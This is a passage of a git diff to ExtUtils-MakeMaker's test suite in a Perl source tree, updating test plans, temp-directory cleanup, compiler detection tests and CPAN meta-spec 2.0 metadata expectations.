- Writing\ $Makefile\ for\ Big::Liar\n
+ (?:Generating\ a\ \w+?-style\ $Makefile\n)?
+ (?:Writing\ $Makefile\ for\ Big::Liar\n)?
(?:Writing\ MYMETA.yml\ and\ MYMETA.json\n)?
Big::Liar's\ vars\n
INST_LIB\ =\ \S+\n
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_Cygwin.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_Cygwin.t
index 0655d176228..4e7336c1eda 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_Cygwin.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_Cygwin.t
@@ -74,7 +74,7 @@ unlike( $MM->manifypods(), qr/foo/,
$MM->{MAN3PODS} = { foo => 'foo.1' };
my $res = $MM->manifypods();
-like( $res, qr/pure_all.*foo.*foo.1/s, '... should add MAN3PODS targets' );
+like( $res, qr/manifypods.*foo.*foo.1/s, '... should add MAN3PODS targets' );
# init_linker
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_NW5.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_NW5.t
index 383e6d95412..447abd21847 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_NW5.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_NW5.t
@@ -131,7 +131,6 @@ delete $ENV{PATHEXT} unless $had_pathext;
$mm_w32->{$key} = '';
}
my $s_PM = join( " \\\n\t", sort keys %{$mm_w32->{PM}} );
- my $k_PM = join( " \\\n\t", %{$mm_w32->{PM}} );
like( $mm_w32->constants(),
qr|^NAME\ =\ TestMM_NW5\s+VERSION\ =\ 1\.00.+
@@ -139,7 +138,6 @@ delete $ENV{PATHEXT} unless $had_pathext;
MM_VERSION\ =\ \Q$ExtUtils::MakeMaker::VERSION\E.+
VERSION_FROM\ =\ TestMM_NW5.+
TO_INST_PM\ =\ \Q$s_PM\E\s+
- PM_TO_BLIB\ =\ \Q$k_PM\E
|xs, 'constants()' );
}
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_OS2.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_OS2.t
index f0a3889d31f..3af343d2302 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_OS2.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_OS2.t
@@ -268,6 +268,6 @@ is( $mm->{EXPORT_LIST}, '$(BASEEXT).def',
END {
use File::Path;
- rmtree('tmp_imp');
+ rmtree('tmp_imp') if -e 'tmp_imp';
unlink 'tmpimp.imp';
}
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_Win32.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_Win32.t
index fee1e5e3507..bac36bfc7c1 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_Win32.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/MM_Win32.t
@@ -13,6 +13,7 @@ BEGIN {
plan skip_all => 'This is not Win32';
}
}
+plan 'no_plan'; # BinGOs says there are 63 but I can only see 62
use Config;
use File::Spec;
@@ -146,7 +147,6 @@ note "init_others creates expected keys"; {
$mm_w32->init_xs;
my $s_PM = join( " \\\n\t", sort keys %{$mm_w32->{PM}} );
- my $k_PM = join( " \\\n\t", %{$mm_w32->{PM}} );
my $constants = $mm_w32->constants;
@@ -156,7 +156,6 @@ note "init_others creates expected keys"; {
qr|^MAKEMAKER \s* = \s* \Q$INC{'ExtUtils/MakeMaker.pm'}\E \s* $|xms,
qr|^MM_VERSION \s* = \s* \Q$ExtUtils::MakeMaker::VERSION\E \s* $|xms,
qr|^TO_INST_PM \s* = \s* \Q$s_PM\E \s* $|xms,
- qr|^PM_TO_BLIB \s* = \s* \Q$k_PM\E \s* $|xms,
)
{
like( $constants, $regex, 'constants() check' );
@@ -281,7 +280,7 @@ unlink "${script_name}$script_ext" if -f "${script_name}$script_ext";
my @cc_env = ExtUtils::MM_Win32::_identify_compiler_environment( $config );
- my %cc_env = ( BORLAND => $cc_env[0], GCC => $cc_env[1], DLLTOOL => $cc_env[2] );
+ my %cc_env = ( BORLAND => $cc_env[0], GCC => $cc_env[1], MSVC => $cc_env[2] );
return \%cc_env;
}
@@ -302,16 +301,6 @@ unlink "${script_name}$script_ext" if -f "${script_name}$script_ext";
my @tests = (
{
config => {},
- key => 'DLLTOOL', expect => 'dlltool',
- desc => 'empty dlltool defaults to "dlltool"',
- },
- {
- config => { dlltool => 'test' },
- key => 'DLLTOOL', expect => 'test',
- desc => 'dlltool value is taken over verbatim from %Config, if set',
- },
- {
- config => {},
key => 'GCC', expect => 0,
desc => 'empty cc is not recognized as gcc',
},
@@ -347,8 +336,8 @@ unlink "${script_name}$script_ext" if -f "${script_name}$script_ext";
},
{
config => { cc => 'C:/Borland/bin/bcc.exe' },
- key => 'BORLAND', expect => 0,
- desc => 'fully qualified borland cc is not recognized',
+ key => 'BORLAND', expect => 1,
+ desc => 'fully qualified borland cc is recognized',
},
{
config => { cc => 'bcc-1.exe' },
@@ -365,10 +354,6 @@ unlink "${script_name}$script_ext" if -f "${script_name}$script_ext";
_check_cc_id_value($_) for @tests;
}
-
-done_testing;
-
-
package FakeOut;
sub TIEHANDLE {
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/Mkbootstrap.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/Mkbootstrap.t
index db061a4a926..81e49c055f3 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/Mkbootstrap.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/Mkbootstrap.t
@@ -75,7 +75,7 @@ SKIP: {
chmod 0444, 'dasboot.bs';
SKIP: {
- skip("cannot write readonly files", 1) if -w 'dasboot.bs';
+ skip("cannot write readonly files", 1) if -w 'dasboot.bs' || $^O eq 'cygwin';
eval{ Mkbootstrap('dasboot', 1) };
like( $@, qr/Unable to open dasboot\.bs/, 'should die given bad filename' );
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/WriteEmptyMakefile.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/WriteEmptyMakefile.t
index 7a86fa1b665..662c48d1281 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/WriteEmptyMakefile.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/WriteEmptyMakefile.t
@@ -8,6 +8,7 @@ BEGIN {
use File::Temp qw[tempdir];
my $tmpdir = tempdir( DIR => 't', CLEANUP => 1 );
+use Cwd; my $cwd = getcwd; END { chdir $cwd } # so File::Temp can cleanup
chdir $tmpdir;
use strict;
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/build_man.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/build_man.t
index 47e5f4b6845..a88ccd23f18 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/build_man.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/build_man.t
@@ -7,7 +7,7 @@ BEGIN {
}
use strict;
-use Test::More tests => 9;
+use Test::More tests => 10;
use File::Spec;
use File::Temp qw[tempdir];
@@ -22,31 +22,37 @@ use ExtUtils::MakeMaker::Config;
# ensure these tests will still work.
$Config{installman3dir} = 'none';
-my $tmpdir = tempdir( DIR => 't', CLEANUP => 1 );
-chdir $tmpdir;
+chdir 't';
+perl_lib; # sets $ENV{PERL5LIB} relative to t/
-perl_lib();
+my $tmpdir = tempdir( DIR => '../t', CLEANUP => 1 );
+use Cwd; my $cwd = getcwd; END { chdir $cwd } # so File::Temp can cleanup
+chdir $tmpdir;
ok( setup_recurs(), 'setup' );
END {
- ok( chdir File::Spec->updir );
- ok( teardown_recurs(), 'teardown' );
+ ok chdir File::Spec->updir, 'chdir updir';
+ ok teardown_recurs(), 'teardown';
}
ok( chdir 'Big-Dummy', "chdir'd to Big-Dummy" ) ||
diag("chdir failed: $!");
+my $README = 'README.pod';
+{ open my $fh, '>', $README or die "$README: $!"; }
-ok( my $stdout = tie *STDOUT, 'TieOut' );
+ok((my $stdout = tie *STDOUT, 'TieOut'), 'tie stdout');
{
local $Config{installman3dir} = File::Spec->catdir(qw(t lib));
-
my $mm = WriteMakefile(
NAME => 'Big::Dummy',
VERSION_FROM => 'lib/Big/Dummy.pm',
);
-
- ok( keys %{ $mm->{MAN3PODS} } );
+ my %got = %{ $mm->{MAN3PODS} };
+ # because value too OS-specific
+ my $delete_key = $^O eq 'VMS' ? '[.lib.Big]Dummy.pm' : 'lib/Big/Dummy.pm';
+ ok delete($got{$delete_key}), 'normal man3pod';
+ is_deeply \%got, {}, 'no extra man3pod';
}
{
@@ -55,28 +61,23 @@ ok( my $stdout = tie *STDOUT, 'TieOut' );
VERSION_FROM => 'lib/Big/Dummy.pm',
INSTALLMAN3DIR => 'none'
);
-
- is_deeply( $mm->{MAN3PODS}, {} );
+ is_deeply $mm->{MAN3PODS}, {}, 'suppress man3pod with "none"';
}
-
{
my $mm = WriteMakefile(
NAME => 'Big::Dummy',
VERSION_FROM => 'lib/Big/Dummy.pm',
MAN3PODS => {}
);
-
- is_deeply( $mm->{MAN3PODS}, { } );
+ is_deeply $mm->{MAN3PODS}, {}, 'suppress man3pod with {}';
}
-
{
my $mm = WriteMakefile(
NAME => 'Big::Dummy',
VERSION_FROM => 'lib/Big/Dummy.pm',
MAN3PODS => { "Foo.pm" => "Foo.1" }
);
-
- is_deeply( $mm->{MAN3PODS}, { "Foo.pm" => "Foo.1" } );
+ is_deeply $mm->{MAN3PODS}, { "Foo.pm" => "Foo.1" }, 'override man3pod';
}
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/dir_target.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/dir_target.t
index 5cb8e491085..95dce6978eb 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/dir_target.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/dir_target.t
@@ -4,6 +4,7 @@ use lib 't/lib';
use File::Temp qw[tempdir];
my $tmpdir = tempdir( DIR => 't', CLEANUP => 1 );
+use Cwd; my $cwd = getcwd; END { chdir $cwd } # so File::Temp can cleanup
chdir $tmpdir;
use Test::More tests => 1;
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/fixin.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/fixin.t
index 72c86efbf2f..061e4562470 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/fixin.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/fixin.t
@@ -7,10 +7,6 @@ BEGIN {
unshift @INC, 't/lib/';
}
-use File::Temp qw[tempdir];
-my $tmpdir = tempdir( DIR => 't', CLEANUP => 1 );
-chdir $tmpdir;
-
use File::Spec;
use Test::More tests => 22;
@@ -23,8 +19,12 @@ use MakeMaker::Test::Setup::BFD;
use ExtUtils::MakeMaker;
chdir 't';
+perl_lib; # sets $ENV{PERL5LIB} relative to t/
-perl_lib();
+use File::Temp qw[tempdir];
+my $tmpdir = tempdir( DIR => '../t', CLEANUP => 1 );
+use Cwd; my $cwd = getcwd; END { chdir $cwd } # so File::Temp can cleanup
+chdir $tmpdir;
ok( setup_recurs(), 'setup' );
END {
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/hints.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/hints.t
index af4d18367a5..6b3cf737421 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/hints.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/hints.t
@@ -7,6 +7,7 @@ use lib 't/lib';
use File::Temp qw[tempdir];
my $tmpdir = tempdir( DIR => 't', CLEANUP => 1 );
+use Cwd; my $cwd = getcwd; END { chdir $cwd } # so File::Temp can cleanup
chdir $tmpdir;
use File::Spec;
@@ -41,7 +42,7 @@ CLOO
$mm->check_hints;
is( $mm->{CCFLAGS}, 'basset hounds got long ears' );
- is( $stderr, "Processing hints file $Hint_File\n" );
+ is( $stderr, "" );
}
@@ -61,7 +62,6 @@ CLOO
$mm->check_hints;
is( $stderr, <<OUT, 'hint files produce errors' );
-Processing hints file $Hint_File
Argh!
OUT
}
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/installed_file.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/installed_file.t
index 58516bc6116..9ac9bb65993 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/installed_file.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/installed_file.t
@@ -12,7 +12,7 @@ use less;
use lib './lib';
use ExtUtils::MakeMaker;
-use Test::More;
+use Test::More tests => 4;
use File::Spec;
@@ -43,6 +43,3 @@ sub path_is {
my $want = $INC{"Test/More.pm"};
path_is( MM->_installed_file_for_module("Test::More"), $want, "Foo::Bar style" );
}
-
-
-done_testing(4);
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/BFD.pm b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/BFD.pm
index e5af93c4b13..3d093fcfbd6 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/BFD.pm
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/BFD.pm
@@ -55,16 +55,20 @@ program - this is a program
1;
END
- 'Big-Dummy/t/compile.t' => <<'END',
-print "1..2\n";
+ 'Big-Dummy/test.pl' => <<'END',
+print "1..1\n";
+print "ok 1 - testing test.pl\n";
+END
+ 'Big-Dummy/t/compile.t' => <<'END',
+print "1..3\n";
print eval "use Big::Dummy; 1;" ? "ok 1\n" : "not ok 1\n";
print "ok 2 - TEST_VERBOSE\n";
+print "ok 3 - testing t/*.t\n";
END
'Big-Dummy/Liar/t/sanity.t' => <<'END',
print "1..3\n";
-
print eval "use Big::Dummy; 1;" ? "ok 1\n" : "not ok 1\n";
print eval "use Big::Liar; 1;" ? "ok 2\n" : "not ok 2\n";
print "ok 3 - TEST_VERBOSE\n";
@@ -96,11 +100,13 @@ END
);
+# if given args, those are inserted as components in resulting path, eg:
+# setup_recurs('dir') means instead of creating Big-Dummy/*, dir/Big-Dummy/*
sub setup_recurs {
-
while(my($file, $text) = each %Files) {
# Convert to a relative, native file path.
- $file = File::Spec->catfile(File::Spec->curdir, split m{\/}, $file);
+ $file = File::Spec->catfile(File::Spec->curdir, @_, split m{\/}, $file);
+ $file = File::Spec->rel2abs($file);
my $dir = dirname($file);
mkpath $dir;
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/metafile_data.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/metafile_data.t
index a9c90ae8b38..bb3670aa773 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/metafile_data.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/metafile_data.t
@@ -3,226 +3,133 @@ BEGIN {
}
use strict;
-use Test::More tests => 31;
-
+use Test::More;
+BEGIN {
+ eval { require CPAN::Meta; CPAN::Meta->VERSION(2.143240) }
+ or plan skip_all => 'CPAN::Meta 2.143240 required for this test';
+ eval { require CPAN::Meta::Converter; }
+ or plan skip_all => 'CPAN::Meta::Converter required for this test';
+ eval { require Parse::CPAN::Meta; }
+ or plan skip_all => 'Parse::CPAN::Meta required for this test';
+}
use Data::Dumper;
use File::Temp;
use Cwd;
-use Parse::CPAN::Meta;
+use MakeMaker::Test::Utils;
+plan tests => 35;
require ExtUtils::MM_Any;
-sub in_dir(&;$) {
- my $code = shift;
- my $dir = shift || File::Temp->newdir;
-
- # chdir to the new directory
- my $orig_dir = cwd();
- chdir $dir or die "Can't chdir to $dir: $!";
-
- # Run the code, but trap the error so we can chdir back
- my $return;
- my $ok = eval { $return = $code->(); 1; };
- my $err = $@;
-
- # chdir back
- chdir $orig_dir or die "Can't chdir to $orig_dir: $!";
-
- # rethrow if necessary
- die $err unless $ok;
-
- return $return;
-}
-
sub mymeta_ok {
my($have, $want, $name) = @_;
-
local $Test::Builder::Level = $Test::Builder::Level + 1;
-
my $have_gen = delete $have->{generated_by};
my $want_gen = delete $want->{generated_by};
my $have_url = delete $have->{'meta-spec'}->{url};
my $want_url = delete $want->{'meta-spec'}->{url};
-
is_deeply $have, $want, $name;
like $have_gen, qr{CPAN::Meta}, "CPAN::Meta mentioned in the generated_by";
like $have_url, qr{CPAN::Meta::Spec}, "CPAN::Meta::Spec mentioned in meta-spec URL";
-
return;
}
my $new_mm = sub {
return bless { ARGS => {@_}, @_ }, 'ExtUtils::MM_Any';
};
+my @METASPEC14 = (
+ 'meta-spec' => {
+ url => 'http://module-build.sourceforge.net/META-spec-v1.4.html',
+ version => 1.4
+ },
+);
+my @METASPEC20 = (
+ 'meta-spec' => {
+ url => 'https://metacpan.org/pod/CPAN::Meta::Spec',
+ version => 2
+ },
+);
+my @REQ20 = (
+ configure => { requires => { 'ExtUtils::MakeMaker' => 0, }, },
+ build => { requires => { 'ExtUtils::MakeMaker' => 0, }, },
+);
+my @GENERIC_IN = (
+ DISTNAME => 'Foo-Bar',
+ VERSION => 1.23,
+ PM => { "Foo::Bar" => 'lib/Foo/Bar.pm', },
+);
+my @GENERIC_OUT = (
+ # mandatory
+ abstract => 'unknown',
+ author => [qw(unknown)],
+ dynamic_config => 1,
+ generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
+ license => ['unknown'],
+ @METASPEC20,
+ name => 'Foo-Bar',
+ release_status => 'stable',
+ version => 1.23,
+ # optional
+ no_index => { directory => [qw(t inc)], },
+);
{
- my $mm = $new_mm->(
- DISTNAME => 'Foo-Bar',
- VERSION => 1.23,
- PM => {
- "Foo::Bar" => 'lib/Foo/Bar.pm',
- },
- );
-
- is_deeply {$mm->metafile_data}, {
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
- author => [],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'module',
-
- configure_requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
- build_requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
-
- no_index => {
- directory => [qw(t inc)],
- },
-
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
- url => 'http://module-build.sourceforge.net/META-spec-v1.4.html',
- version => 1.4
- },
+ my $mm = $new_mm->(@GENERIC_IN);
+ is_deeply $mm->metafile_data, {
+ @GENERIC_OUT,
+ prereqs => { @REQ20, },
};
-
-
- is_deeply {$mm->metafile_data({}, { no_index => { directory => [qw(foo)] } })}, {
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
- author => [],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'module',
-
- configure_requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
- build_requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
-
- no_index => {
- directory => [qw(t inc foo)],
- },
-
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
- url => 'http://module-build.sourceforge.net/META-spec-v1.4.html',
- version => 1.4
- },
+ is_deeply $mm->metafile_data({}, { no_index => { directory => [qw(foo)] } }), {
+ @GENERIC_OUT,
+ prereqs => { @REQ20, },
+ no_index => { directory => [qw(t inc foo)], },
}, 'rt.cpan.org 39348';
}
-
{
my $mm = $new_mm->(
DISTNAME => 'Foo-Bar',
VERSION => 1.23,
AUTHOR => ['Some Guy'],
- PREREQ_PM => {
- Foo => 2.34,
- Bar => 4.56,
- },
+ PREREQ_PM => { Foo => 2.34, Bar => 4.56, },
);
-
- is_deeply {$mm->metafile_data(
+ is_deeply $mm->metafile_data(
{
- configure_requires => {
- Stuff => 2.34
- },
+ configure_requires => { Stuff => 2.34 },
wobble => 42
},
{
- no_index => {
- package => "Thing"
- },
+ no_index => { package => "Thing" },
wibble => 23
},
- )},
+ ),
{
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
+ @GENERIC_OUT, # some overridden, which is fine
author => ['Some Guy'],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'script',
-
- configure_requires => {
- Stuff => 2.34,
- },
- build_requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
-
- requires => {
- Foo => 2.34,
- Bar => 4.56,
+ prereqs => {
+ @REQ20,
+ configure => { requires => { Stuff => 2.34, }, },
+ runtime => { requires => { Foo => 2.34, Bar => 4.56, }, },
},
-
no_index => {
directory => [qw(t inc)],
- package => 'Thing',
+ package => ['Thing'],
},
-
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
- url => 'http://module-build.sourceforge.net/META-spec-v1.4.html',
- version => 1.4
- },
-
- wibble => 23,
- wobble => 42,
- };
+ x_wibble => 23,
+ x_wobble => 42,
+ }, '_add vs _merge';
}
-
# Test MIN_PERL_VERSION meta-spec 1.4
{
my $mm = $new_mm->(
- DISTNAME => 'Foo-Bar',
- VERSION => 1.23,
- PM => {
- "Foo::Bar" => 'lib/Foo/Bar.pm',
- },
+ @GENERIC_IN,
MIN_PERL_VERSION => 5.006,
);
-
- is_deeply {$mm->metafile_data}, {
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
- author => [],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'module',
-
- configure_requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
- build_requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
-
- requires => {
- perl => '5.006',
- },
-
- no_index => {
- directory => [qw(t inc)],
- },
-
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
- url => 'http://module-build.sourceforge.net/META-spec-v1.4.html',
- version => 1.4
+ is_deeply $mm->metafile_data( {}, { @METASPEC14 }, ), {
+ @GENERIC_OUT,
+ prereqs => {
+ @REQ20,
+ runtime => { requires => { perl => 5.006, }, },
},
}, 'MIN_PERL_VERSION meta-spec 1.4';
}
@@ -230,104 +137,35 @@ my $new_mm = sub {
# Test MIN_PERL_VERSION meta-spec 2.0
{
my $mm = $new_mm->(
- DISTNAME => 'Foo-Bar',
- VERSION => 1.23,
- PM => {
- "Foo::Bar" => 'lib/Foo/Bar.pm',
- },
+ @GENERIC_IN,
MIN_PERL_VERSION => 5.006,
);
-
- is_deeply {
- $mm->metafile_data(
- {}, {
- 'meta-spec' => {
- url => 'http://search.cpan.org/perldoc?CPAN::Meta::Spec',
- version => 2
- } } )
- }, {
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
- author => [],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'module',
-
+ is_deeply $mm->metafile_data, {
prereqs => {
- configure => {
- requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
- },
- build => {
- requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
- },
- runtime => {
- requires => {
- 'perl' => '5.006',
- },
- },
- },
-
- no_index => {
- directory => [qw(t inc)],
- },
-
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
-
- url => 'http://search.cpan.org/perldoc?CPAN::Meta::Spec',
- version => 2
+ @REQ20,
+ runtime => { requires => { 'perl' => '5.006', }, },
},
+ @GENERIC_OUT,
}, 'MIN_PERL_VERSION meta-spec 2.0';
}
# Test MIN_PERL_VERSION meta-spec 1.4
{
my $mm = $new_mm->(
- DISTNAME => 'Foo-Bar',
- VERSION => 1.23,
- PM => {
- "Foo::Bar" => 'lib/Foo/Bar.pm',
- },
+ @GENERIC_IN,
MIN_PERL_VERSION => 5.006,
- PREREQ_PM => {
- 'Foo::Bar' => 1.23,
- },
+ PREREQ_PM => { 'Foo::Bar' => 1.23, },
);
-
- is_deeply {$mm->metafile_data}, {
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
- author => [],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'module',
-
- configure_requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
- build_requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
-
- requires => {
- perl => '5.006',
- 'Foo::Bar' => 1.23,
- },
-
- no_index => {
- directory => [qw(t inc)],
- },
-
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
- url => 'http://module-build.sourceforge.net/META-spec-v1.4.html',
- version => 1.4
+ is_deeply $mm->metafile_data, {
+ @GENERIC_OUT,
+ prereqs => {
+ @REQ20,
+ runtime => {
+ requires => {
+ 'Foo::Bar' => 1.23,
+ 'perl' => '5.006',
+ },
+ },
},
}, 'MIN_PERL_VERSION and PREREQ_PM meta-spec 1.4';
}
@@ -335,339 +173,215 @@ my $new_mm = sub {
# Test CONFIGURE_REQUIRES meta-spec 1.4
{
my $mm = $new_mm->(
- DISTNAME => 'Foo-Bar',
- VERSION => 1.23,
- CONFIGURE_REQUIRES => {
- "Fake::Module1" => 1.01,
- },
- PM => {
- "Foo::Bar" => 'lib/Foo/Bar.pm',
- },
+ @GENERIC_IN,
+ CONFIGURE_REQUIRES => { "Fake::Module1" => 1.01, },
);
-
- is_deeply {$mm->metafile_data}, {
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
- author => [],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'module',
-
- configure_requires => {
- 'Fake::Module1' => 1.01,
- },
- build_requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
-
- no_index => {
- directory => [qw(t inc)],
- },
-
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
- url => 'http://module-build.sourceforge.net/META-spec-v1.4.html',
- version => 1.4
+ is_deeply $mm->metafile_data( {}, { @METASPEC14 }, ), {
+ prereqs => {
+ @REQ20,
+ configure => { requires => { 'Fake::Module1' => 1.01, }, },
},
+ @GENERIC_OUT,
},'CONFIGURE_REQUIRES meta-spec 1.4';
}
# Test CONFIGURE_REQUIRES meta-spec 2.0
{
my $mm = $new_mm->(
- DISTNAME => 'Foo-Bar',
- VERSION => 1.23,
- CONFIGURE_REQUIRES => {
- "Fake::Module1" => 1.01,
- },
- PM => {
- "Foo::Bar" => 'lib/Foo/Bar.pm',
- },
+ @GENERIC_IN,
+ CONFIGURE_REQUIRES => { "Fake::Module1" => 1.01, },
);
-
- is_deeply {
- $mm->metafile_data(
- {}, {
- 'meta-spec' => {
- url => 'http://search.cpan.org/perldoc?CPAN::Meta::Spec',
- version => 2
- } } )
- }, {
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
- author => [],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'module',
-
+ is_deeply $mm->metafile_data, {
prereqs => {
- configure => {
- requires => {
- 'Fake::Module1' => 1.01,
- },
- },
- build => {
- requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
- },
- },
-
- no_index => {
- directory => [qw(t inc)],
- },
-
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
- url => 'http://search.cpan.org/perldoc?CPAN::Meta::Spec',
- version => 2
+ @REQ20,
+ configure => { requires => { 'Fake::Module1' => 1.01, }, },
},
+ @GENERIC_OUT,
},'CONFIGURE_REQUIRES meta-spec 2.0';
}
-
# Test BUILD_REQUIRES meta-spec 1.4
{
my $mm = $new_mm->(
- DISTNAME => 'Foo-Bar',
- VERSION => 1.23,
- BUILD_REQUIRES => {
- "Fake::Module1" => 1.01,
- },
- PM => {
- "Foo::Bar" => 'lib/Foo/Bar.pm',
- },
+ @GENERIC_IN,
+ BUILD_REQUIRES => { "Fake::Module1" => 1.01, },
+ META_MERGE => { "meta-spec" => { version => 1.4 }},
);
-
- is_deeply {$mm->metafile_data}, {
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
- author => [],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'module',
-
- configure_requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
- build_requires => {
- 'Fake::Module1' => 1.01,
- },
-
- no_index => {
- directory => [qw(t inc)],
- },
-
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
- url => 'http://module-build.sourceforge.net/META-spec-v1.4.html',
- version => 1.4
+ is_deeply $mm->metafile_data( {}, { @METASPEC14 }, ), {
+ prereqs => {
+ @REQ20,
+ build => { requires => { 'Fake::Module1' => 1.01, }, },
},
+ @GENERIC_OUT,
},'BUILD_REQUIRES meta-spec 1.4';
}
# Test BUILD_REQUIRES meta-spec 2.0
{
my $mm = $new_mm->(
- DISTNAME => 'Foo-Bar',
- VERSION => 1.23,
- BUILD_REQUIRES => {
- "Fake::Module1" => 1.01,
- },
- PM => {
- "Foo::Bar" => 'lib/Foo/Bar.pm',
- },
- META_MERGE => { "meta-spec" => { version => 2 }},
+ @GENERIC_IN,
+ BUILD_REQUIRES => { "Fake::Module1" => 1.01, },
);
-
- is_deeply {
- $mm->metafile_data(
- {}, {
